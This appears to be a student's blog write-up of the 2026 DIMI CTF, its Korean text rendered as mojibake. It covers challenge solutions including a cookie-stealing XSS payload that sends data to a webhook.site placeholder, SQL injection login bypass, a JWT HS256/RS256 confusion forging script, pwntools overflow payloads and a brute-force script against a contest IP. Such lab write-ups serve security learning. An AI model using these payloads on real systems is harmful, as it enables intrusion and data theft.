์๋ ํ์ธ์, pandas์ ๋๋ค.

2026. 03. 05 ๋ถํฐ 10๋ช์ผ๊ฐ ์งํ๋ dimi ctf์ ์ฐธ๊ฐํด๋ดค์ต๋๋ค
์ฌ์ค ์ ์ ์ ๋์์ธ๋ฐ ์์ธ์ง๋ ๋ชจ๋ฅด๊ฒ ์ง๋ง 2,3ํ๋ ๋ ์ฐธ์ฌํ ์ ์๋ค๊ณ ํด์ ์ ๋๊ฒ ํ์ด๋ดค์ต๋๋ค
์ ๊ณต ์๊ฐ์ ํ ๊ฒ๋ ์์ด์ ๊ทธ๋ฅ ์ถ์ ์๋ถ๋ค์ด๋ ์ฐธ์ฌ์๋ถ๋ค ๋ณด๋ผ๊ณ ๋กธ์ ์ด๋ ์ ์ด๋ณด๊ฒ ์ต๋๋ค
ํ๋๋ ๊ฑ ๋นจ๋ฆฌ ํ๊ณ ์ถ์ด์ ๋ชจ๋ ๋ฌธ์ ๋ฅผ CODEX๋ก ํ์๊ณ ์, ๊ด์ฐฎ์ ๋ฌธ์ ๋ค์ ์ ๊ฐ ์ง์ ์ ์๋นํด์ ๋กธ์ ์ ์ด๋ณด๊ฒ ์ต๋๋ค
MISC๋ ์ฌ๋งํ๋ฉด ์ ์ ์๊ฒ ๊ฐ๊ณ , PWN,REV,WEB ์์ฃผ๋ก ์ ์ด๋ณด๊ฒ ์ต๋๋ค
์ฐ๊ณ ์ถ์๊ฒ๋ง ์ธ๊ฒ๋๋ค. ๊ฑฐ์ 70๋ฌธ์ ๊ฐ ๋์ ๊ฑฐ ๊ฐ์๋;;;;;
# WEB
WEB - ์คํ ์ค๋ผ์ ๋ณด์ด์ง ์์์ - 1

์๋ ๊ฐ์๊ธฐ STEALTH ํํ์ด์ง๊ฐ ๋์์ ๋๋๋ค
STEALTH ํ๋ณด์ ์ข์ ๊ฒ ๊ฐ๋ค

์ฃผ์์ ์๋ค
WEB - ์คํ ์ค๋ผ์ ๋ณด์ด์ง ์์์ - 2

์คํ ์ค ์๋ฆฌ์ฆ์๋ค

๊ฐ๋ฐ์๋๊ตฌ > Application > Cookie์ FLAG2๊ฐ ์กด์ฌํ๋ค
WEB - ์คํ ์ค๋ผ์ ๋ณด์ด์ง ์์์ - 3
MoFW๋ก ๋ก๊ทธ์ธํ๋ผ๊ณ ํ๋ค


ID์ MoFW'--
๋น๋ฐ๋ฒํธ์ ์๋ฌด๊ฑฐ๋ ๋ฃ์ผ๋ฉด ๋๋ค
SQL Injection์ด๋ผ๋ ๊ณต๊ฒฉ์ด๊ณ , ๋ด๋ถ SQL ๊ฒ์ฌ ๋ก์ง์์ ID ์ ๋ ฅ์ MoFW' ๋ฅผ ๋ฃ์ผ๋ฉด, ID๋ MoFW, --๋ SQL์์ ์ฃผ์์ผ๋ก ์ฒ๋ฆฌ๋๋ค
๋ฐ๋ผ์ ๋น๋ฐ๋ฒํธ ๊ฒ์ฌ ๋ก์ง์ด ์ฃผ์ํ(==๋ฌด๋ ฅํ)๋๋ค
WEB - ์คํ ์ค๋ผ์ ๋ณด์ด์ง ์์์ - 4
๋ก๊ทธ์ธ ํ๋ฉด

์์ค์ฝ๋๋ฅผ ๋ณด๋ฉด, ์ธ์ ์คํ ๋ฆฌ์ง์ flag4๋ฅผ ๋๋ ค ๋ฃ๋๊ฑธ ๋ณผ ์ ์์ต๋๋ค

์น์ ํ๊ฒ xss๊ฐ ํฐ์ง๋ค๊ณ ์๋ ค์ฃผ๋ค์
<img src="x" onerror="fetch('/member.flag').then(r=>r.text()).then(t=>{new Image().src='https://webhook.site/<YOUR_ID>?d='+encodeURIComponent(t)})">
WEB - John Wants TV
๋ฑ ๋ด๋ JWT ์๊ณ ๋ฆฌ์ฆ์์ ์ด์๊ฐ ์๊ธธ ๊ฒ ๊ฐ์ต๋๋ค
CSS๋ฐ์๋ ์๋ ์ข์ ๋ฌธ์ ํ์ด์ง๋ค์

ํ๋ฒ์ฉ ๋ค ๋ณด๋ฉด
/.well-known/jwks.json์์ ์์ํ ์น๊ตฌ๊ฐ ์์ต๋๋ค
{
"keys": [
{
"alg": "RS256",
"e": "AQAB",
"kid": "dock-main",
"kty": "RSA",
"n": "uL1jHclrqQu689DSXKiTyRp9rvcBoSeik6Cxa2yhcN6G1NvszzBcxKhZRTH4yXw5orkT0X-SGn_iMdMRwXcBRLSebe-8CNOQFq3lDgy0cQONJy579W3ufWiQQSJVo5AEjSv2ego4wABKumaAlAQIaIHUbPN-06plzx45i5suI96ZDuGQEpS_xeHwwAxOHipw-MFVfMVjELVQAvwBT8-EJfExOWRqB8866kdtM8C3vBYXujDFGQnDfE1uIwozInjJIilOq241ADASOf2B9nbCIc30auLp8XFWP-63cGv5s3tl5S344cL9MuICecHyOIHN_oWof5PJtWAETcY0iZnIYQ",
"use": "sig"
}
]
}
jwks_url = f"{base_url}/.well-known/jwks.json"
jwks = requests.get(jwks_url, timeout=10).json()
jwk = jwks["keys"][0]
now = int(time.time())
payload = {
"sub": "operator",
"role": "admin",
"clearance": 7,
"mission": "pegasus",
"scope": ["dock:override"],
"iss": "janus-auth",
"iat": now,
"exp": now + 900,
}
headers = {
"kid": jwk["kid"],
"typ": "access+jwt",
"alg": "HS256",
}
return jwt.encode(payload, jwk["n"], algorithm="HS256", headers=headers)
jwt ๋ค์ ์๋ช ํด์ ์ ์กํ๋ฉด ๋ฉ๋๋ค

# PWN
PWN - ์ด์ํ ํ๋ฆฐํฐ

C์ธ์ด ์ฝ๋ ์ ์์ค;;;
ida๋ก ๊น๊ธฐ ๊ท์ฐฎ์์ ๊ทธ๋ฅ ๋ฐ๋ก ์คํํด๋ดค์ต๋๋ค

ls ์น๋๊ฑฐ ๋ฐ๋ก ์ถ๋ ฅํด์ฃผ๊ณ , ๋๋์ command injection ๊ฐ์์ ๋์ถฉ ์ฐ์ด๋ณด๋ ๋๋ค์
์ฐ์

v4 ์ ๋ ฅ์ ;์ ๋ฃ์ผ๋ฉด echo ๋ช ๋ น์ด ๋๋๊ฒ ๋๊ณ , ๊ทธ ๋ค์ ์ํ๋ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ๋ฉด system ํจ์๋ก ์คํ์ด ๋ฉ๋๋ค
์๋ ์ ์ ๊ฐ ์ถ์ ํ ๋ฌธ์ ๋ค ๋ณด๋ค๋ ์ข ์ด๋ ค์ด ๊ฑฐ ๊ฐ๋ค์
PWN - ๋๋์

a์ -2147483648, b์ -1๋ก Overflow๋ฅผ ์ผ์ผํต๋๋ค
PWN - Brain Overflow

๋๊ฐ๋ด๋ winํจ์ ํธ์ถํ๋ผ๋ww
gets func๊ฐ ์ทจ์ฝํฉ๋๋ค
gets๋ NULL๊น์ง ์ ๋ ฅ๋ฐ์ต๋๋ค
๋์ถฉ ๊ณ์ฐํด๋ด๋ payload len์ด 20์ด ๋์ ๊ฒ ๊ฐ์ผ๋, NULL์ payload ๋งจ ์์ ๋๊ณ , payload ํจ๋ฉ์ ๋ณด๋ด๋ฉด ๋ฉ๋๋ค
from pwn import *
p = process("./prob")
e = ELF("./prob")
payload = b"\x00" + b"A"*23 + p64(e.symbols['win'])
p.sendline(payload)
p.interactive()

๋ญ remote๋ ๋ ๊ฒ๋๋ค
์ธ์คํด์ค ๋ฐ๊ธฐ ๊ท์ฐฎ์๊ฑด ์ ๋น๋ฐ์ ๋๋ค
๊ทธ๋ฅ ๋จ์ํ rao๊ฐ ์๋๋ผ, payload์ len ์ ํ์ด ์๋ ๋ถ๋ถ์ด ๊น๋ค๋ก์ธ ์ ์๋ค๊ณ ์๊ฐํฉ๋๋ค
PWN - ์นด๋๋ฆฌ์ ํค์ฐ๊ธฐ

Canary ๋ฌธ์


win ํจ์๋ ์คฌ๊ณ ,

pie ์๊ณ canary ์์ต๋๋ค
Canary Leak์ ํ๋ ๊ฒ ๋ณด๋ค๋ ๊ฑ rip์๋ง ์ธ ์ ์์ ๊ฒ ๊ฐ์ต๋๋ค
%d๋ก ์ ๋ ฅ์ ๋ฐ๋๋ฐ canary ๋ถ๋ถ์ +๋ฅผ ๋ฃ์ผ๋ฉด canary๊ฐ ํผ์๋์ง ์์ต๋๋ค
์ฝ๋ ์์ง๋ ๋ ๊ฑฐ ๊ฐ์์ ๊ทธ๋ฅ win ํจ์ ์ฃผ์ ๋ณํ ํด์

๋์ต๋๋ค
STACK ๊ตฌ์กฐ์ ๋ํ ์ดํด์ canary ์ฐํ ๋ฐฉ๋ฒ, ๊ฝค๋ ๊น๋ค๋ก์ด ๋ฌธ์ ๋ผ๊ณ ์๊ฐํฉ๋๋ค (์ ์ ์ ๋ ธ๋ฒ ์ด์ค ๊ธฐ์ค)
๋ฌธ์ ์์ด๋์ด๋ ์ข์ ๊ฑฐ ๊ฐ๋ค์
canary leak์์ raoํ๋ ๋จ์ํ ๋ฌธ์ ๋ ์์์ผ๋ฉด ์ข์์ ๋ฏ ํ๋ค์
PWN - Easy Login

๊ฐ์ฌํ๋ค์. IDA๊ฐ ํ์์๋ค์
์ฝ๋๋ฅผ ๋ณด๋ฉด strcmp(user_id, "admin") == 0 ์ด๋ฉด flag๋ฅผ ์ป์ ์ ์์ต๋๋ค
OOB ์ทจ์ฝ์ ์ด ์กด์ฌํ๊ณ , ID๋ฅผ ADMIN์ผ๋ก ๋ฐ๊พธ๋ฉด ๋ฉ๋๋ค

๊ฑ ์ฝ๋๋ก ์ง์ ํธ๋๊ฒ ์ข์์ ์ด๋ ๊ฒ ํ์ต๋๋ค

๋ญ ๋ก๋๋ฆฌ์์ ์๊ฒ ์ฃ ,,
PWN - Flag Checker

read๋ฅผ ์ด์ฉํ์ฌ ํ์์ต๋๋ค
input ๋ค์, flag๊ฐ ์๊ณ , read๋ก 200๋ฐ์ดํธ๋ฅผ ์ฝ์ต๋๋ค
input ๋ค flag๊น์ง ๋ฎ์ ์ ์๊ณ , input๊ณผ flag๋ฅผ ๋น๊ตํฉ๋๋ค
์ผ์นํ๋ฉด Correct, ํ๋ฆฌ๋ฉด wrong์ ์ถ๋ ฅํฉ๋๋ค
์ผ๋จ ์์ ๋ฐ๋๊ฑด ๋ถ๊ฐ๋ฅํด๋ณด์ ๋๋ค (์ ์ด์ผ ๋ฐ๋ ๋ฐฉ๋ฒ์ด ์๋์...?)
ํ์ง๋ง flag๋ฅผ ์์๋ด๋ ๊ฒ์ ๊ฐ๋ฅํ ๊ฒ ๊ฐ์ต๋๋ค
ํ๋๊ทธ๋ printable ascii๊ณ , ๋ง์ง๋ง ๋ฐ์ดํธ๋ '\n' ์ ๋๋ค.
ํต์ฌ์ ๋๋ค
input์ ๋งค๋ฒ ๋ค๋ฅด๊ฒ ํ๋ฉฐ, Correct๋ฅผ ์ถ๋ ฅํ๋ ์ ๋ ฅ์ ์ฐพ๊ณ , flag๋ฅผ ํ ๊ธ์ ํ ๊ธ์ ๋น๊ตํ๋ฉด ๋ฉ๋๋ค
from pwn import *
charset = b"abcdefghijklmnopqrstuvwxyz" + b"0123456789" + b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + b"!\"#$%&'()*+,-./:;<=>?@[]^_`{|}~ "
boundary = None
suffix = None
for s in [b"}\n", b"}"]:
for i in range(100):
test = b"A" * i + s + b"\x00"
if len(test) > 100:
break
payload = test.ljust(100, b"B") + (b"A" * i)
p = remote("39.118.211.92", 34272)
p.send(payload)
p.shutdown("send")
if b"Correct!" in p.recvall(timeout=1):
boundary = i
suffix = s
p.close()
break
p.close()
cur = suffix
while True:
payload = (b"DIMI" + cur + b"\x00").ljust(100, b"B")
p = remote("39.118.211.92", 34272)
p.send(payload)
p.shutdown("send")
if b"Correct!" in p.recvall(timeout=1):
p.close()
print((b"DIMI" + cur).decode("ascii", "ignore"))
break
p.close()
i = boundary + len(suffix) - len(cur) - 1
for ch in charset:
test = b"A" * i + bytes([ch]) + cur + b"\x00"
if len(test) > 100:
print("Too long")
exit(0)
payload = test.ljust(100, b"B") + (b"A" * i)
p = remote("39.118.211.92", 34272)
p.send(payload)
p.shutdown("send")
if b"Correct!" in p.recvall(timeout=1):
p.close()
cur = bytes([ch]) + cur
break
p.close()

๋ธํฌ๋ฅผ ๋๋ฆฌ๋ค ๋ณด๋ฉด flag๊ฐ ์ต์ข ์ ์ผ๋ก ๋ณต๊ตฌ๋ฉ๋๋ค
๊ต์ฅํ ์ ๋ฐํ ๋ฌธ์ ์๊ณ , ์ฌ๋ฏธ์์์ต๋๋ค
PWN - Infinity dance

Last Dance์ revenge ๋ฌธ์ ๋ผ๊ณ ํฉ๋๋ค
์ถ์ ์๋ถ์ด ๋ค๋ฅธ ๊ณณ์ ๋ฌธ์ ๋ฅผ ๋ผ ์๋ ์๋ค๊ณ ํ์ฌ, ํ์ด๋ ์ข ๊ฒ์ดํ๊ฒ ์ต๋๋ค
๊ฐ๋จํ๊ฒ ์ค๋ช ํ๋ฉด last dance(revenge ์ ๋ฌธ์ )๋ 8bytes aaw๊ฐ ๊ฐ๋ฅํ๊ณ , ROPํ์ต๋๋ค
์ฌ๊ธฐ์๋ revenge ๋ฒ์ ์ผ๋ก ********๊ฐ ๊ฐ๋ฅํฉ๋๋ค
*******๋ ๊ฑธ๋ ค์์ต๋๋ค
์ผ๋จ ** * ** *** *** **** **์ ์๊ฐํด๋ดค์ต๋๋ค
(censored)
๋ฐ์ด๋๋ฆฌ๋ patchelf๋ก ํจ์นํด์คฌ๊ณ ์
....
๊ทธ๋ ๊ฒ ํ๋ฉด flag๋ฅผ ์ป์ ์ ์์ต๋๋ค
Py (base) /mnt/c/KIM-JUN-WON/03_Programming/6_HACKING/CTF/2026_DIMICTF/infinity/deploy p exploit.py
.........
DIMI{redacted}
[*] Stopped process './prob_patched' (pid 2855944)
Py (base) /mnt/c/KIM-JUN-WON/03_Programming/6_HACKING/CTF/2026_DIMICTF/infinity/deploy
์ต์ค ์์ ์ฑ์ ์ข ๋จ์ด์ง์ง๋ง, ๊ทธ๋๋ ์ถฉ๋ถํ ์ต์ค ๊ฐ๋ฅํฉ๋๋ค
MISC์ ๊ณผ๋ํ ๊ฒ์ฑ ๋ฌธ์ ๋ฅผ ์ ์ธํ๊ณ DIMI CTF์์ ๊ฐ์ฅ ์ด๋ ค์ด ๋ฌธ์ ๋ผ๊ณ ์๊ฐํฉ๋๋ค
AI๋ง์ผ๋ก๋ ์ ์๋ซ๋ ค์ ์ ๊ฐ ๋ถ์ํ๊ณ , ์ต์ค ๋ฐฉํฅ๊น์ง ์ง์ ํด์คฌ์ต๋๋ค
๋๋ฒ๊น ํ๋ฉด์ ์ต์ค ์ฝ๋๋ AI๊ฐ ์ง์คฌ๋ค์,,,,,
์ฌ๋ฏธ์๊ฒ ํ์์ต๋๋ค
# REV
์ฃ์กํฉ๋๋ค,,,๋ฆฌ๋ฒ์ฑ์ ๋ถ์์ ํด์ผ๋์์์,,,,
์๊ฐ ์ด์๊ฐ ์ข ์์ต๋๋ค,,,
์ํ๋ ๋ฌธ์ ์๋ค๋ฉด ๋ง์ํด์ฃผ์๋ฉด ์๊ฐ ๋ ๋ ๋ถ์ํ๊ณ , ์ ์ด๋ณด๊ฒ ์ต๋๋ค
# CRYPTO
Crypto - Gacha
MoFW๊ฐ ์ถ์ ? ๋๋คํฌ๋์ด ๋ฌด์กฐ๊ฑด ์์ ๊ฒ ๊ฐ์์ต๋๋ค

์ ์์๋ฅผ ์ด๋ป๊ฒ ์ฐ์ด์ ๋ง์ถฅ๋๊น,,,,,
๋๋ค ํฌ๋์ ํด๋ณด๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค

Node.js๋ก ๋ง๋ค์ด์ก์ต๋๋ค

Predictability
: If an attacker can obtain a few consecutive outputs of
Math.random()
, they can use specific tools and knowledge of the underlying algorithm (like XorShift128+ in V8/Node.js
์ด๋ ๋ค๋ค์
๊ฐ๋ฅํ ๊ฒ ๊ฐ์ต๋๋ค

๋งจ ์ฒ์์ ๋จ๋ github๊ฐ ์์ต๋๋ค
๋ค์ด๋ฐ์ผ๋ฉด ๋ฉ๋๋ค
HIT๋ฅผ ๋ณด๋ฉด FLAG๊ฐ 5๊ธ์์ด๋ 5๊ฐ์ ์์๋ฅผ ๋ง์ถ๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค
from crack import RandomSolver
leak = [
0.6034371179275257,
0.34153373054757186,
0.6072523996128449,
0.3832482909907422,
0.6947977881469838
]
solver = RandomSolver()
for v in leak:
solver.submit_random(v)
solver.solve()
for idx, gen in enumerate(solver.answers):
if idx >= 1:
break
for _ in range(5):
print(gen.random())

0์ ์ ๋ ฅํด์ 5๊ฐ์ ์์๋ฅผ ์ ์ถ์์ผฐ๊ณ , exploit์ฝ๋์ ๋ฃ์ด์ ์คํํ์ต๋๋ค

๋ณต๊ตฌํ ๊ฐ์ ์ฐจ๋ก๋๋ก ๋ฃ์ผ๋ฉด random์ ๋ณต๊ตฌํ ์ ์์ต๋๋ค
node.js random crack์ ์ฒ์์ธ๋ฐ ์ฌ๋ฏธ์๊ฒ ํ์์ต๋๋ค
python random crack์ด์์ผ๋ฉด ๋ชป ํ์์ ๊ฒ ๊ฐ์๋ฐ ๋น๊ต์ ์ฌ์ ๋ ๊ฒ ๊ฐ์ต๋๋ด
# MISC
MISC - Pixel Art

์ด๊ฒ ์ ๋ถ์ ๋๋ค
์ ์ ๋๊ฐ๋ ์ค ์์์ต๋๋ค


DIMI{omghow??nvm this is flag:DIMI{im4g3_c4n_als0_b3_pr0gr4mming_l4ngu4g3}}
์ด๋ฐ๊ฑธ ์ ์๊ณ ์๋๊ฑฐ์ฃ ,,,์ ๋ฐํ๋ค์
MISC - ใฒใใใช
ํ,,,,
AI๋ฅผ ์ด์ฌํ ํ์ฉํ๋๊ฒ ์ ๋ง ์ค์ํ ๊ฒ ๊ฐ์์ต๋๋ค
๋ฑ๋ด๋ ํ์ง ๋ง๋ผ๊ณ ๋ธ ๋ฌธ์ ๋ฅผ ์ด๋ป๊ฒ๋ ์ง ํ์ด์ ์ข์๋ค์

์ผ๋จ ์ด์ ๋๋ ์ฐพ์์ต๋๋ค
์ด๋ codex-5.4 extreme high์ chatgpt pro๋ฅผ ์ฌ์ฉํ์ฌ ์ด์ ๋๊น์ง ์ป์ด๋๊ณ , ํํธ๋ฅผ ์ค๋ค๊ธธ๋ ์ง๊ธ๊น์ง์ ๋ถ์์ ์ง๋ฌธํ์ต๋๋ค
์ง๋ฌธ์ ๋ํ ๋ต๋ณ์ "๋ฐฉํฅ์ด ๋ง๋ค. rc2 key ์ฐพ์ ์ ์๋ค"์์ต๋๋ค
๊ฑฐ์ ๋ค ์จ ๊ฒ ๊ฐ์์ ๋ gpt๋ฅผ ๊ฐ๊ถ์ต๋๋ค

ChatGPT PRO - Extend Pro ๋ชจ๋ธ์ ์ฌ์ฉํ์ต๋๋ค
https://chatgpt.com/share/69afc309-c178-8009-a283-85a83350dd68
MISC - ํ๋ณตํ ์ํ
ํsiuuuuuuuuuuuuuu
pwntools๋ฅผ ์ฌ์ฉํด๋ณด๊ธฐ ์ข์ ์ฐ์ต ๋ฌธ์ ๋ผ๊ณ ์๊ฐํฉ๋๋ค
from pwn import *
p = process("./prob")
p.recvline()
line = p.recvline()[:-5]
result = eval(line.decode().replace('/', '//'))
p.sendline(str(result).encode())
for i in range(499):
p.recvline()
p.recvline()
line = p.recvline()[:-5]
result = eval(line.decode().replace('/', '//'))
print(i + 2)
p.sendline(str(result).encode())
p.interactive()

remote๋ ๊ธฐ๋ค๋ฆฌ๊ธฐ ๊ท์ฐฎ์ผ๋ local์์๋ง ํ ๊ฒ์
MISC - codex

๊ฒ์์ด๋ผ๊ณ ๊ฑฐ์ง๋ง์ด๋ผ๊ณ ํด๋ดค์ต๋๋ค
# FORENSIC
FOR - onLeaf's USB
ํฌ๋ ์์ด๊ณ ๋ญ๊ฐ ๋ง์ต๋๋ค
1. MoFW
2. ํ๊ธ_ํ์ทจ
3. 2026-03-21
4. capital_bank
5. efsdecrypter
์ด์ฌํ codex๋ฅผ ๋๋ ธ์ต๋๋ค
3๋ฒ๊ณผ 5๋ฒ์์ ์ข ๋งํ๋๋ฐ,
3๋ฒ์ Windows/time.tmp์์ ํ๊ธ๋ก ๋ ์ง๋ฅผ ์กฐํฉํ๋ฉด์ ์ฐพ์๊ณ ,
5๋ฒ์ efsdecrypter.dll๊ฐ ๊ณต๊ฒฉ ์์ค์ธ๊ฑธ ๋ณด๊ณ ์ด๊ฑธ๋ก ์ฐพ์์ต๋๋ค
- Input string: MoFW_ํ๊ธ_ํ์ทจ_2026-03-21_capital_bank_efsdecrypter
- MD5: 56db51f2d5a38578d71e77f640b28d2e
- Flag: DIMI{56db51f2d5a38578d71e77f640b28d2e}
MISC - RUBBER HOSE Lyla4
Lyla4๋ฅผ ์ฐพ์๊ฐ์ผํ๋ ๋ฌธ์ ์ ๋๋ค
์ ๊ด์์ ๋ณธ๊ด๊น์ง ๊ฐ๋๊ฒ ๋๋ฌด๋๋ฌด ํ๋ค์ด์ ๋ชปํ์์ต๋๋ค ใ ใ
์์ ใ ใ
# ํ๊ธฐ

3ํ๋ ์ด์ง๋ง ์์ธ์ง ์ฐธ๊ฐํ ์ ์๋ค๊ณ ํด์ ์ฐธ์ฌํด๋ดค์ต๋๋ค
1ํ๋ ์ ์ ์ ์์ผ๋ก ์ฐธ๊ฐํด๋ดค๊ณ ,
2ํ๋ ๋๋ ADMIN์ผ๋ก ๋ค๋ฅธ ์น๊ตฌ๋ค์ด ๋ธ ๋ฌธ์ ๋ฅผ ํ์ด๋ดค๊ณ ,
3ํ๋ ๋๋ ๋ค์ ๋ ธ์ธ์ผ๋ก ์ฐธ์ฌํด๋ดค์ต๋๋ค
3๋ ์งธ ์ฐธ๊ฐํด์, DIMI CTF์ ๋ง๋ น์ด ๋์๋ค์
์ ์ ์๋ 60๋ช๋ฑ ํ๋๋ฐ ์ด์ ๋ ๋ง์ด ๋ง์ด ํ ์ ์์ด์ ์ข๋ค์
์ด์์ง๋ค ๋ชจ๋ ์๊ณ ํ์ จ๊ณ , ์ฌ๋ฏธ์์์ต๋๋ค
์ ์ ์๋์ ์ง๊ธ์ DIMI CTF๋ฅผ ๋น๊ตํด๋ณด๋ฉด AI๊ฐ ์ ๋ง ๋ง์ด ๋ฐ์ ํด์, AI๋ธ๊น์ผ๋ก ๋ฌธ์ ๊ฐ ๋ง์ด ํ๋ฆฌ๋ ๊ฒ ๊ฐ์์ต๋๋ค.
AI๋ฅผ ์ฌ์ฉํ๋ฉด์ ๋๋ ์ ๋ค์ด ์๊ณ , ์ถํ์ AI in CTF์ ๋ํ ๊ธ์ ์ข ์์ฑํด๋ณด๋ ค๊ณ ํฉ๋๋ค
์ด์ ๊ณ 3 pandas์์ต๋๋ค.
'CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| [ 2025 ์ 1ํ ์๋จ๊ถ ์ฌ์ด๋ฒ ๊ณต๊ฒฉ ๋ฐฉ์ด ๋ํ - ์์ ๋ณธ์ ํ๊ธฐ ] (0) | 2025.11.03 |
|---|---|
| [ 2025 CCE - ์์ + ๋ณธ์ ํ๊ธฐ ] (0) | 2025.09.15 |
| [ 2025 HackQuest - ์์ + ๋ณธ์ ํ๊ธฐ ] (0) | 2025.09.15 |
| [2025 YISF ์์ฒํฅ๋ ์ ๋ณด๋ณดํธ ํ์คํฐ๋ฒ - ์์ +๋ณธ์ + ์์์ ] - Write Up & ํ๊ธฐ (0) | 2025.09.07 |
| [ ์ 31ํ ํดํน ์บ ํ ํ๊ธฐ ] (8) | 2025.09.01 |